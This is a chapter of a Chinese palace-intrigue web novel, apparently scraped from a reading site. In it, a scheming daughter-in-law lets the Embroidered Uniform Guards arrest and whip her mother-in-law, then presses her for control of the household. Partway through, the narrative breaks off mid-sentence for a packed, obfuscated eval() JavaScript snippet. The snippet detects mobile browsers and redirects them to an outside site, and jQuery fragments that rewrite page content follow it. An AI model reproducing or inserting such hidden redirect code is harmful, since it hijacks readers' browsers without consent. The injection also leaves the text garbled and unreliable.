5. 第 5 章

作品:《和离后陛下成了我的外室

    睡梦中的母女俩被吓了个激灵,双双站起身来,脸上还有尚未清醒的迷茫。


    “什、什么东西?”


    管事妈妈要哭了,抓着罗氏的胳膊,几乎脸贴着脸喊,“哎呀太太,是锦衣卫!锦衣卫上门啦!”


    罗氏身形一晃,醒来又险些吓晕过去,“锦、锦衣卫怎么来了?快拦住他们呀!”


    “锦衣卫”对民间小老百姓而言,那就是修罗阎王的存在,凡能出动了锦衣卫的,不是犯通敌叛国诛九族的罪,那也得是个杀头流放。


    正当罗氏与李素素抱在一起,不知如何是好,揽月阁的院门终于从里头打开了,早已梳妆完毕的赵清仪在婢子的搀扶下,袅袅婷婷跨出了院门。


    见到门口略显狼狈的罗氏母女,赵清仪故作惊讶地挑眉。


    慌乱的罗氏一瞬间像是看到了挡箭牌,二话不说就推了她一把,“你快去看看,锦衣卫上门来做什么的?”


    赵清仪没动,只慢条斯理掸了掸衣服,“婆母不做亏心事,又何必惧怕锦衣卫呢。”


    下一刻,又有几个仆妇跌跌撞撞奔来,后头紧跟着七八个身着飞鱼服,腰佩绣春刀的锦衣卫,为首之人肤色幽黑,眉目冷肃,额间还有一刀三寸长的刀疤,一看就不好惹。


    那凌厉的眼神扫过来时,罗氏双腿不自觉发抖。


    赵清仪不动声色,冲来人略一福身,“杨千户。”


    居然认识?


    几人不约而同将目光投向赵清仪,仿佛在看着救星,罗氏也顾不得自己昨日刚辱骂过赵清仪,屁颠屁颠躲到她身后。


    “好儿媳,你、你与这位大人认识啊?那你可得同这位大人好好说说,咱们家都是良民……”


    为首的杨千户却将眼睛死死黏在罗氏身上,一语不发。


    罗氏被他瞧得浑身发毛,索性低下头去。


    杨千户这才向赵清仪颔首示意,“昨夜有人到北镇抚司报案,说李家有人对当今陛下不满,口出恶言,上头也递了话,命我北镇抚司需将人逮捕归案,细细盘查,赵大奶奶,烦请通融。”


    罗氏与李素素猛地打了个寒战,连连摆手,“不不不,这……这纯属子虚乌有!没有的事!”


    她一介平民,哪儿敢冒犯陛下?


    李素素也跑过去拉着赵清仪的袖摆,“嫂嫂,您快同这位大人说清楚呀,咱们家清清白白,可不能担这污名,娘她、她一把年纪了,更不能进诏狱呀!”


    赵清仪没吭声,罗氏也跟着劝,语气姿态放得极低,“好儿媳,都怪我这婆母,昨日是我气昏了头,是我口不择言!是我蠢笨无知!”


    罗氏一边说,一边甩了自己几个耳光,带着哭腔哀求,“可你也知道的,我、我可不敢有大不敬的心……我要是出事了,我的彻儿怎么办?他也是你的夫君啊……”


    像是触动了赵清仪一般,她深吸口气,冲杨千户笑笑,“昨夜之事只是婆母对我有所埋怨,这才失言,锦衣卫耳目遍布京城,这李家是什么样的人,想必杨千户心里比谁都清楚,是否误会,您应当自有分辨。”


    出乎意料的,一直冷脸看起来很不好惹的杨千户,闻言微微点了下头,“大奶奶所言极是,不过既有人报案,我锦衣卫也只能秉公处理,若传闻所言不实,锦衣卫自会放人。”


    罗氏满是希冀地看向赵清仪,盼着她能再为自己周旋一二,谁料赵清仪却也点头,“既如此,我也不好拦着。”便往左让了一大步。


    罗氏母女大惊,不等她们再开口说话,两个锦衣卫上前一左一右扭住了罗氏,李素素被迫躲到一旁,泪眼婆娑地看着这一幕。


    “不,民妇是冤枉的!民妇是冤枉的!”


    诏狱啊,那可是诏狱啊,光是听了都要吓死的程度,罗氏难以想象自己被关押在里面,受尽酷刑的折磨。求生欲之下,她就像只拼命扑腾的老母鸡似的,想方设法要挣脱锦衣卫。


    结果还没她挣脱出来,杨千户便上前,三两下把她满头的金钗珠花拔了下来,“依我大梁律,六品下官眷及平民禁戴金饰,一经发现,笞五十,罚没禁物,带走!”


    罗氏这下也不知是怕死还是心疼她好不容攒下的金首饰,顿时仰面大哭起来,李素素也吓白了脸,不知所措。


    早年大梁律法严苛,甚至有民间因戴金镯被抄家的旧例,只是到了如今定西年间,陛下开明,江浙一带富商兴起,百姓生活富裕,不少有钱的地主女眷私下都敢佩戴金饰,官府也往往睁一只眼闭,并不追究,没成想,到了她们这里,反成了把柄。


    罗氏哭天抢地,“好儿媳,你快求求大人开恩呐!民妇蠢笨,实在不晓得这些个礼律!苍天可鉴,民妇绝无僭越不敬之心!”


    赵清仪仿若未闻,任由锦衣卫把人押走了,直到人影彻底消失在实现里,李素素抵着廊柱,颓然滑落。


    泪水不自觉溢出眼眶,“完了、完了……”


    其余仆妇也不知如何是好,只能把目光投向赵清仪——这位李家唯一还算冷静之人。


    别的不知道,光瞧那凶神恶煞的千户大人都对大奶奶恭敬有礼,便知大奶奶是个厉害的,能镇场子的。


    李素素挣扎起来,拉着赵清仪的袖子就差没跪下了,“嫂嫂,你认识那千户,你就行行好,让他们通融通融,我娘知道错了,再也不敢了!那诏狱堪比死人窟,娘她一把年纪的人,进去了受不住呀!”


    赵清仪故作无奈,叹了口气,“我在李家说不上话,你与婆母又各有主意,我若多言,便会像昨日那般惹得你们不快,不过想来,幸好昨日手脚快些,把不该留在你与婆母屋中的东西全都撤走了,不然今日锦衣卫若查起来,小姑也得去那诏狱走一遭呢。”


    “从今往后,我什么都听你的!”


    李素素想也不想,斩钉截铁道,“只要嫂嫂肯出面把娘救回来,往后家中都由你说了算!”


    不求赵清仪,还能求谁呢?李家早就落败了,在京中毫无根基,眼下唯一还能仰仗的,只有赵清仪这位名门出身的贵女,有她在,多少还有些关系可以通融。


    赵清仪等的就是这句话,她忖了忖,叹道,“也罢,我父亲昔日于那杨千户有恩,我备下厚礼登门,希望能让婆母在狱中少受些苦。”


    话虽如此,罗氏要受的罪却一点没少。


    罗氏到了诏狱门前,被推入甬道的刹那,潮湿的霉味混着血腥气猛地呛入喉管,令她胃中又一次泛起恶心。


    在狱卒的催促下,她不得不朝甬道深处走去,两侧火把噼啪作响,映出墙上层层叠叠的血痕,深浅不一的沟壑里还残存着已经发黑的指甲血肉。


    罗氏只觉头皮发麻,似乎还能听见人犯被拖拽进牢房之时,拼命用手抓挠墙壁发出的吱吱声。


    杨千户走在前头,一脚踢开地牢的铁栅,罗氏紧接着被人推进去。


    “看老太太的穿衣打扮,想必是讲究体面人,寻常刑具怕是入不得您的眼。”


    杨


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15625640|172343||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    千户从盐水桶里拎起九股生牛皮拧成的软鞭,粗糙的指腹刻意抚过鞭梢上细小的倒刺,“这是琉球才有的九尾鞭,专用来惩戒身有诰命的夫人,老太太僭越也不是一回两回了,用上这个,也算瞧得起你。”


    他的面容在诏狱火把的映衬下,愈发吓人了,“别看它不起眼,一鞭子下去,衣裳越金贵,撕下的皮肉,越完整……”


    —


    当日傍晚,赵清仪让人备了酒菜送到北镇抚司,并将腕上的羊脂玉镯褪下,塞到杨千户手中。


    其实罗氏的罪说大也不大,当今陛下年轻开明,对此并不严苛,全看底下的人想如何行事,好处到位了,这种不轻不重的小罪,都好解决。


    隔日,罗氏就被放了出来,只是出来时,人像是被扒了层皮,形销骨立,神情恍惚,一头本不茂密的头发乱成了鸡窝,两只手腕还有被绳索束缚留下的红痕,胳膊后背更是布满鞭痕。


    在诏狱门口见到李素素,罗氏一刹那泪眼汪汪,扑到女儿怀里哭得那叫一个惨。


    檀月不想浪费时间,撩起靛蓝车帘,一股好闻的沉水香从车内飘出。


    “老太太,上车吧。”


    罗氏出来之时听里头的锦衣卫说过了,是赵清仪花钱打通关系,才让她免受牢狱之灾,只是死罪可免,活罪难逃,还是扛了杨千户十鞭子。


    还在诏狱门口,罗氏不敢叫嚣,忍痛佝偻着钻进马车。


    “婆母当心伤口。”


    赵清仪头也不抬,莹白指尖从鎏金香炉上移了半寸,里头刚燃上的熏香,适时驱散了罗氏身上扑面而来的血腥气。


    待马车动了,赵清仪才缓声开口,“回府以后,还望婆母将掌家对牌交到儿媳手中。”


    浑身疼痛的罗氏当即警醒,“不行!”


    赵清仪一默,清凌凌的眸瞟了过去,夹在中间的李素素呼吸一紧,暗暗拉了拉罗氏的衣角。


    “娘……”


    李素素不停使眼色,“嫂嫂也是为我们好,你看这次的祸事,幸好没连累了哥哥……”


    她就指望兄长平步青云,将来她好高嫁。


    看着罗氏满身的狼狈,李素素便会想起在揽月阁那日,檀月提醒她的那些话,忽然又庆幸自己屋里头的东西搬走了,否则保不齐,今日进诏狱的就是自己了。


    钱和命相比,当然命更重要,更何况被逮进诏狱着实不体面,她还是个未出阁的姑娘,总要替自己的婚事考虑。


    “呸!”


    罗氏恨铁不成钢地瞪了女儿一眼,“我看这祸事八成是她引来的!你还把她供上了?”


    她指着赵清仪,下颌微扬,“不管你打什么主意,要掌家权,想都别想!”


    笑话,掌家权可是她的命根子。


    屋里的东西搬走了,那些个店铺庄子却还攥在她手里。


    即便不愿承认,罗氏也清楚,李家门楣就是靠赵清仪的嫁妆撑起来的,一旦她让出掌家权,势必还得把铺子交出去,那都是白花花的银子。


    赵清仪也不急,接过旁边檀月递来的青瓷盏,盏中君山银针正腾起袅袅雾气。


    “非儿媳想要争权,婆母若觉得李家在您手里能蒸蒸日上,您能帮衬得了夫君,儿媳也无话可说。”


    罗氏噎了下,可她不愿低头,冷哼了声,“我的儿子,我自然会为他考虑,轮不到你来……”


    话音未落,马车倏地停下,让罗氏与李素素晃了个趔趄,头差点撞上车壁。